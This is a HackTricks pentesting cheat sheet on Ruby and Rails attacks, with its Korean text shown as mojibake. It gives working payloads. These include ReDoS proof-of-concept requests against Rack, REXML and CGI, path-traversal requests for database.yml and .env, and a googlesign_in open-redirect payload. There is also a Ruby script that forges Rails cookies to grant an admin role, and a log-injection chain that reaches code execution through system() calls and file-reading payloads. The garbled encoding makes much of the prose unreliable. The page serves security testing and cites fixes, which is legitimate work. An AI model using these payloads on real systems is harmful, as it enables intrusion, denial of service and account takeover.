Ruby ํธ๋ฆญ
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.
File upload to RCE
As explained in this article, uploading a .rb file into sensitive directories such as config/initializers/ can lead to remote code execution (RCE) in Ruby on Rails applications.
ํ:
config/initializers/์ฒ๋ผ ์ฑ ์์ ์ ์คํ๋๋ ๋ค๋ฅธ ๋ถํธ/์ด๊ฑฐ๋ก๋ ์์น๋ ์ฐ๊ธฐ ๊ฐ๋ฅํ๋ฉด ์ํํฉ๋๋ค. arbitrary file upload๊ฐconfig/์๋ ์๋ฌด ์์น์๋ ์ฌ๋ผ๊ฐ๊ณ ๋์ค์ ํ๊ฐ๋๊ฑฐ๋ require๋๋ฉด ๋ถํ ์ RCE๋ฅผ ํ๋ํ ์ ์์ต๋๋ค.- Rails๊ฐ ๋ถํ ์ ๋ก๋ํ๋ ํ์ผ์ ์ปจํ ์ด๋ ์ด๋ฏธ์ง๋ก ๋ณต์ฌํ๋ dev/staging ๋น๋๋ฅผ ์ฐพ์๋ณด์ธ์.
Active Storage image transformation โ command execution (CVE-2025-24293)
When an application uses Active Storage with image_processing + mini_magick, and passes untrusted parameters to image transformation methods, Rails versions prior to 7.1.5.2 / 7.2.2.2 / 8.0.2.1 could allow command injection because some transformation methods were mistakenly allowed by default.
- A vulnerable pattern looks like:
<%= image_tag blob.variant(params[:t] => params[:v]) %>
where params[:t] and/or params[:v] are attacker-controlled.
-
ํ ์คํธ ์ ์๋ํ ๊ฒ
-
variant/processing ์ต์ , transformation ์ด๋ฆ, ๋๋ ์์์ ImageMagick ์ธ์๋ฅผ ๋ฐ๋ ์๋ํฌ์ธํธ๋ฅผ ์๋ณํ์ธ์.
-
params[:t]์params[:v]๋ฅผ fuzzing ํด ์์ฌ์ค๋ฌ์ด ์ค๋ฅ๋ ์คํ ๋ถ์์ฉ์ ํ์ธํ์ธ์. ๋ฉ์๋ ์ด๋ฆ์ ์กฐ์ํ๊ฑฐ๋ MiniMagick์ ๋๋ฌํ๋ raw ์ธ์๋ฅผ ์ ๋ฌํ ์ ์์ผ๋ฉด ์ด๋ฏธ์ง ํ๋ก์ธ์ ํธ์คํธ์์ ์ฝ๋ ์คํ์ ์ป์ ์ ์์ต๋๋ค. -
์์ฑ๋ variant์ ๋ํ ์ฝ๊ธฐ ๊ถํ๋ง ์๋ ๊ฒฝ์ฐ, ์กฐ์๋ ImageMagick ์์ ์ผ๋ก blind exfiltration์ ์๋ํด ๋ณด์ธ์.
-
์์ /ํ์ง
-
Active Storage +
image_processing+mini_magick๋ฅผ ์ฌ์ฉํ๊ณ ์ฌ์ฉ์ ์ ์ด ๋ณํ์ด ์๋ Rails < 7.1.5.2 / 7.2.2.2 / 8.0.2.1์ exploitableํ๋ค๊ณ ๊ฐ์ฃผํ์ธ์. ์ ๊ทธ๋ ์ด๋ํ๊ณ ๋ฉ์๋/ํ๋ผ๋ฏธํฐ์ ๋ํ ์๊ฒฉํ allowlist์ ๊ฐํ๋ ImageMagick policy ์ ์ฉ์ ๊ถ๊ณ ํฉ๋๋ค.
Rack::Static LFI / path traversal (CVE-2025-27610)
If the target stack uses Rack middleware directly or via frameworks, versions of rack prior to 2.2.13, 3.0.14, and 3.1.12 allow Local File Inclusion via Rack::Static when :root is unset/misconfigured. Encoded traversal in PATH_INFO can expose files under the process working directory or an unexpected root.
config.ru๋ ๋ฏธ๋ค์จ์ด ์คํ์Rack::Static์ ๋ง์ดํธํ ์ฑ์ ์ฐพ์๋ณด์ธ์. static ๊ฒฝ๋ก์ ๋ํด ์ธ์ฝ๋ฉ๋ traversal์ ์๋ํด ๋ณด์ธ์. ์:
GET /assets/%2e%2e/%2e%2e/config/database.yml
GET /favicon.ico/..%2f..%2f.env
prefix๋ฅผ ์ค์ ๋ urls:์ ๋ง๊ฒ ์กฐ์ ํ์ธ์. ์ฑ์ด ํ์ผ ๋ด์ฉ์ ๋ฐํํ๋ฉด, ํด๊ฒฐ๋ :root ์๋์ ๋ชจ๋ ํญ๋ชฉ์ ๋ํด LFI๋ฅผ ๊ฐ์ง ๊ฒ์
๋๋ค.
- ์ํ: Rack์ ์
๊ทธ๋ ์ด๋ํ๊ณ
:root๊ฐ public ํ์ผ ๋๋ ํฐ๋ฆฌ๋ง ๊ฐ๋ฆฌํค๋๋ก ๋ช ์์ ์ผ๋ก ์ค์ ํ์ธ์.
Rack multipart parser ReDoS / request smuggling (CVE-2024-25126)
Rack < 3.0.9.1 and < 2.2.8.1 spent super-linear time parsing crafted Content-Type: multipart/form-data headers. A single POST with a gigantic A= parameter list can peg a Puma/Unicorn worker and cause DoS or request queue starvation.
- Quick PoC (will hang one worker):
python - <<'PY'
import requests
h = {'Content-Type': 'multipart/form-data; ' + 'A='*5000}
requests.post('http://target/', data='x', headers=h)
PY
- Rails/Sinatra/Hanami/Grape ๋ฑ ๋ชจ๋ Rack ๊ธฐ๋ฐ ์คํ์ ๋ํด ์๋ํฉ๋๋ค. nginx/haproxy๋ก ํ๋ก ํธ๋์ด ์๊ณ keep-alive๊ฐ ํ์ฑํ๋์ด ์์ผ๋ฉด ๋ณ๋ ฌ๋ก ๋ฐ๋ณตํด ์์ปค๋ฅผ ๊ณ ๊ฐ์ํฌ ์ ์์ต๋๋ค.
- ํจ์น๋ ํ์๋ฅผ ์ ํ ์๊ฐ์ผ๋ก ์์ ํฉ๋๋ค;
rackgem ๋ฒ์ <3.0.9.1๋๋ <2.2.8.1์ ์ฐพ์ผ์ธ์. ํ๊ฐ ์ WAF๋ ์ด ํค๋๊ฐ ๋ฌธ๋ฒ์ ์ผ๋ก ์ ํจํ๊ธฐ ๋๋ฌธ์ ์ด๋ฅผ ์ฐจ๋จํ์ง ์๋ ๊ฒฝ์ฐ๊ฐ ๋ง์์ ์ง์ ํ์ธ์.
REXML XML parser ReDoS (CVE-2024-49761)
The REXML gem < 3.3.9 (Ruby 3.1 and earlier) catastrophically backtracks when parsing hex numeric character references containing long digit runs (e.g., �x41;). Any XML processed by REXML or libraries that wrap it (SOAP/XML API clients, SAML, SVG uploads) can be abused for CPU exhaustion.
Minimal trigger against a Rails endpoint that parses XML:
curl -X POST http://target/xml -H 'Content-Type: application/xml' \
--data '<?xml version="1.0"?><r>�x41;</r>'
ํ๋ก์ธ์ค๊ฐ ๋ช ์ด ๋์ ๋ฐ์๊ฒ ์ ์ง๋๊ณ ์์ปค CPU๊ฐ ๊ธ์ฆํ๋ฉด ์ทจ์ฝํ ๊ฐ๋ฅ์ฑ์ด ๋์ต๋๋ค. ๊ณต๊ฒฉ์ ์ ๋์ญํญ์ด๋ฉฐ XML์ ์์งํ๋ ๋ฐฑ๊ทธ๋ผ์ด๋ ์์ ์๋ ์ํฅ์ ์ค๋๋ค.
CGI cookie parsing / escapeElement ReDoS (CVE-2025-27219 & CVE-2025-27220)
Apps using the cgi gem (default in many Rack stacks) can be frozen with a single malicious header:
CGI::Cookie.parse๋ ์ด์ ํ์ ์ด์๊ณ ; ์์ฒ ๊ฐ์ ๊ตฌ๋ถ์๋ฅผ ๊ฐ์ง ๊ฑฐ๋ํ cookie ๋ฌธ์์ด์ด O(Nยฒ) ๋์์ ์ ๋ฐํ์ต๋๋ค.CGI::Util#escapeElement์ ๊ท์์ HTML escaping์์ ReDoS๋ฅผ ํ์ฉํ์ต๋๋ค.
Both issues are fixed in cgi 0.3.5.1 / 0.3.7 / 0.4.2. For pentests, drop a massive Cookie: header or feed untrusted HTML to helper code and watch for worker lockup. Combine with keep-alive to amplify.
Basecamp googlesign_in open redirect / cookie flash leak (CVE-2025-57821)
The googlesign_in gem < 1.3.0 (used for Google OAuth on Rails) performed an incomplete same-origin check on the proceedto parameter. A malformed URL like proceedto=//attacker.com/%2F.. bypasses the check and redirects the user off-site while preserving Rails flash/session cookies.
Exploit flow:
- ํผํด์๊ฐ ๊ณต๊ฒฉ์๊ฐ ํธ์คํ ํ ์กฐ์๋ Google Sign-In ๋งํฌ๋ฅผ ํด๋ฆญํ๋ค.
- ์ธ์ฆ ํ, gem์ ๊ณต๊ฒฉ์ ์ ์ด ๋๋ฉ์ธ์ผ๋ก ๋ฆฌ๋ค์ด๋ ํธํ๊ณ flash notices ๋๋ ์์ผ๋์นด๋ ๋๋ฉ์ธ ๋ฒ์์ ์๋ cookies์ ์ ์ฅ๋ ๋ชจ๋ ๋ฐ์ดํฐ๋ฅผ leakํฉ๋๋ค.
- ์ฑ์ด flash์ ๋จ๊ธฐ ํ ํฐ์ด๋ magic links๋ฅผ ์ ์ฅํ๋ ๊ฒฝ์ฐ, ์ด๊ฒ์ account takeover๋ก ์ด์ด์ง ์ ์์ต๋๋ค.
During testing, grep Gemfile.lock for googlesign_in < 1.3.0 and try malformed proceedto values. Confirm via Location header and cookie reflection.
Forging/decrypting Rails cookies when secret_key_base is leaked
Rails encrypts and signs cookies using keys derived from secret_key_base. If that value leaks (e.g., in a repo, logs, or misconfigured credentials), you can usually decrypt, modify, and re-encrypt cookies. This often leads to authz bypass if the app stores roles, user IDs, or feature flags in cookies.
Minimal Ruby to decrypt and re-encrypt modern cookies (AES-256-GCM, default in recent Rails):
Ruby to decrypt/forge cookies
```ruby require 'cgi' require 'json' require 'active_support' require 'active_support/message_encryptor' require 'active_support/key_generator'secret_key_base = ENV.fetch(โSECRET_KEY_BASE_LEAKEDโ) raw_cookie = CGI.unescape(ARGV[0])
salt = โauthenticated encrypted cookieโ cipher = โaes-256-gcmโ key_len = ActiveSupport::MessageEncryptor.key_len(cipher) secret = ActiveSupport::KeyGenerator.new(secret_key_base, iterations: 1000).generate_key(salt, key_len) enc = ActiveSupport::MessageEncryptor.new(secret, cipher: cipher, serializer: JSON)
plain = enc.decrypt_and_verify(raw_cookie) puts โDecrypted: #{plain.inspect}โ
Modify and re-encrypt (example: escalate role)
plain[โroleโ] = โadminโ if plain.is_a?(Hash) forged = enc.encrypt_and_sign(plain) puts โForged cookie: #{CGI.escape(forged)}โ
</details>
๋
ธํธ:
- Older apps may use AES-256-CBC and salts `encrypted cookie` / `signed encrypted cookie`, or JSON/Marshal serializers. Adjust salts, cipher, and serializer accordingly.
- On compromise/assessment, rotate `secret_key_base` to invalidate all existing cookies.
## ์ฐธ๊ณ (Ruby/Rails-specific vulns)
- Ruby deserialization and class pollution:
<a class="content_ref" href="../../pentesting-web/deserialization/index.html"><span class="content_ref_label">Deserialization</span></a>
<a class="content_ref" href="../../pentesting-web/deserialization/ruby-class-pollution.md"><span class="content_ref_label">Ruby Class Pollution</span></a>
<a class="content_ref" href="../../pentesting-web/deserialization/ruby-_json-pollution.md"><span class="content_ref_label">Ruby Json Pollution</span></a>
- Template injection in Ruby engines (ERB/Haml/Slim, etc.):
<a class="content_ref" href="../../pentesting-web/ssti-server-side-template-injection/index.html"><span class="content_ref_label">SSTI (Server Side Template Injection)</span></a>
## Log Injection โ RCE via Ruby `load` and `Pathname.cleanpath` smuggling
์ฑ์ด (์ข
์ข
๊ฐ๋จํ Rack/Sinatra/Rails ์๋ํฌ์ธํธ) ๋ค์ ๋์ ๋ชจ๋ ์ํํ๋ฉด:
- ์ฌ์ฉ์ ์ ์ด ๋ฌธ์์ด์ ์๋ ๊ทธ๋๋ก ๋ก๊ทธ์ ๊ธฐ๋กํ๊ณ ,
- ์ดํ ๋์ผํ ๋ฌธ์์ด์์ ํ์๋ ๊ฒฝ๋ก๋ฅผ ์ฌ์ฉํด ํ์ผ์ `load` ํ๋ค(`Pathname#cleanpath` ์ดํ),
๋ก๊ทธ๋ฅผ ์ค์ผ์ํจ ๋ค ์ฑ์ด ๋ก๊ทธ ํ์ผ์ `load` ํ๋๋ก ์ ๋ํ๋ฉด ์ข
์ข
remote code execution์ ๋ฌ์ฑํ ์ ์์ต๋๋ค. ํต์ฌ ์์:
- Ruby `load` evaluates the target file content as Ruby regardless of file extension. Any readable text file whose contents parse as Ruby will be executed.
- `Pathname#cleanpath` collapses `.` and `..` segments without hitting the filesystem, enabling path smuggling: attacker-controlled junk can be prepended for logging while the cleaned path still resolves to the intended file to execute (e.g., `../logs/error.log`).
### ์ต์ ์ทจ์ฝ ํจํด
```ruby
require 'logger'
require 'pathname'
logger = Logger.new('logs/error.log')
param = CGI.unescape(params[:script])
path_obj = Pathname.new(param)
logger.info("Running backup script #{param}") # Raw log of user input
load "scripts/#{path_obj.cleanpath}" # Executes file after cleanpath
๋ก๊ทธ์ ์ ํจํ Ruby๊ฐ ํฌํจ๋ ์ ์๋ ์ด์
Logger๋ ๋ค์๊ณผ ๊ฐ์ ์ ๋์ฌ ๋ผ์ธ์ ์๋๋ค:
I, [9/2/2025 #209384] INFO -- : Running backup script <USER_INPUT>
Ruby์์๋ #๊ฐ ์ฃผ์์ ์์ํ๊ณ 9/2/2025๋ ๋จ์ง ์ฐ์ ์ฐ์ฐ์
๋๋ค. ์ ํจํ Ruby ์ฝ๋๋ฅผ ์ฃผ์
ํ๋ ค๋ฉด ๋ค์์ ํด์ผ ํฉ๋๋ค:
- ํ์ด๋ก๋๋ฅผ ์ ์ค์์ ์์ํ์ฌ INFO ๋ผ์ธ์
#์ ์ํด ์ฃผ์ ์ฒ๋ฆฌ๋์ง ์๋๋ก ํ์ธ์; ์ ํ ๊ฐํ ๋ฌธ์(\n๋๋%0A)๋ฅผ ์ ์กํ์ธ์. - INFO ๋ผ์ธ์์ ๋์
๋ ๋ ์ด๋ฆฐ
[๋ฅผ ๋ซ์ผ์ธ์. ์ผ๋ฐ์ ์ธ ํธ๋ฆญ์]๋ก ์์ํ๊ณ ์ ํ์ ์ผ๋ก ํ์๋ฅผ ๋ง์กฑ์ํค๊ธฐ ์ํด][0]=1์ ๋ถ์ด๋ ๊ฒ์ ๋๋ค. - ๊ทธ๋ค์ ์์์ Ruby ์ฝ๋๋ฅผ ๋ฃ์ผ์ธ์(์:
system(...)).
๋ค์์ ์กฐ์๋ ํ๋ผ๋ฏธํฐ๋ก ํ ๋ฒ ์์ฒญํ ๋ค ๋ก๊ทธ์ ๋จ๊ฒ ๋ ์์์ ๋๋ค:
I, [9/2/2025 #209384] INFO -- : Running backup script
][0]=1;system("touch /tmp/pwned")#://../../../../logs/error.log
ํ๋์ ๋ฌธ์์ด๋ก ์ฝ๋๊ฐ ๋ก๊น ๋๋ฉด์ ๋์์ ๋ก๊ทธ ๊ฒฝ๋ก๋ก ํด์๋๊ฒ ๋ง๋ค๊ธฐ
๊ณต๊ฒฉ์๊ฐ ์ ์ดํ๋ ๋จ์ผ ๋ฌธ์์ด์ ์ํ๋ค. ์ด ๋ฌธ์์ด์:
- ์์๋ก ๋ก๊น ๋ ๋ ์ฐ๋ฆฌ Ruby payload๋ฅผ ํฌํจํ๊ณ ,
Pathname.new(<input>).cleanpath๋ฅผ ๊ฑฐ์น๋ฉด../logs/error.log๋ก ํด์๋์ด ์ดํload๊ฐ ๋ฐฉ๊ธ ์ค์ผ๋ ๋ก๊ทธ ํ์ผ์ ์คํํ๋๋ก.
Pathname#cleanpath๋ ์คํด์ ๋ฌด์ํ๊ณ ํธ๋๋ฒ์ค ์ปดํฌ๋ํธ๋ฅผ ์ถ์ํ๋ฏ๋ก, ๋ค์์ด ์๋ํ๋ค:
require 'pathname'
p = Pathname.new("\n][0]=1;system(\"touch /tmp/pwned\")#://../../../../logs/error.log")
puts p.cleanpath # => ../logs/error.log
://์์#๋ ๋ก๊ทธ๊ฐ ์คํ๋ ๋ Ruby๊ฐ ๊ผฌ๋ฆฌ ๋ถ๋ถ์ ๋ฌด์ํ๋๋ก ํ๋ฉฐ, ๋ฐ๋ฉดcleanpath๋ ์ ๋ฏธ์ฌ๋ฅผ ์ฌ์ ํ../logs/error.log๋ก ์ถ์ํฉ๋๋ค.- ์ ํ ์ค๋ฐ๊ฟ์ INFO ๋ผ์ธ์์ ๋น ์ ธ๋์ค๊ฒ ํ๊ณ ;
]๋ ๋์ด์ง ๋๊ดํธ๋ฅผ ๋ซ์ผ๋ฉฐ;][0]=1์ ํ์๋ฅผ ๋ง์กฑ์ํต๋๋ค.
End-to-end exploitation
- Send the following as the backup script name (URL-encode the first newline as
%0Aif needed):
\n][0]=1;system("id > /tmp/pwned")#://../../../../logs/error.log
- The app logs your raw string into
logs/error.log. - The app computes
cleanpathwhich resolves to../logs/error.logand callsloadon it. - Ruby executes the code you injected in the log.
To exfiltrate a file in a CTF-like environment:
\n][0]=1;f=Dir['/tmp/flag*.txt'][0];c=File.read(f);puts c#://../../../../logs/error.log
URL-encoded PoC (์ฒซ ๋ฌธ์๋ ์ค๋ฐ๊ฟ ๋ฌธ์์ ๋๋ค):
%0A%5D%5B0%5D%3D1%3Bf%3DDir%5B%27%2Ftmp%2Fflag%2A.txt%27%5D%5B0%5D%3Bc%3DFile.read(f)%3Bputs%20c%23%3A%2F%2F..%2F..%2F..%2F..%2Flogs%2Ferror.log
์ฐธ๊ณ ์๋ฃ
- Rails ๋ณด์ ๋ฐํ: CVE-2025-24293 Active Storage ์์ ํ์ง ์์ ๋ณํ ๋ฉ์๋ (7.1.5.2 / 7.2.2.2 / 8.0.2.1์์ ์์ ๋จ)
- GitHub ๊ถ๊ณ : Rack::Static ๋ก์ปฌ ํ์ผ ํฌํจ (CVE-2025-27610)
- Hardware Monitor Dojo-CTF #44: Log Injection to Ruby RCE (YesWeHack Dojo)
- Ruby Pathname.cleanpath ๋ฌธ์
- Ruby Logger
- Ruby load์ ์๋ ๋ฐฉ์
- Rack multipart ReDoS ๊ถ๊ณ (CVE-2024-25126)
- CGI / URI์ ๋ํ Ruby ๋ณด์ ๊ถ๊ณ (CVE-2025-27219/27220/27221)
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.


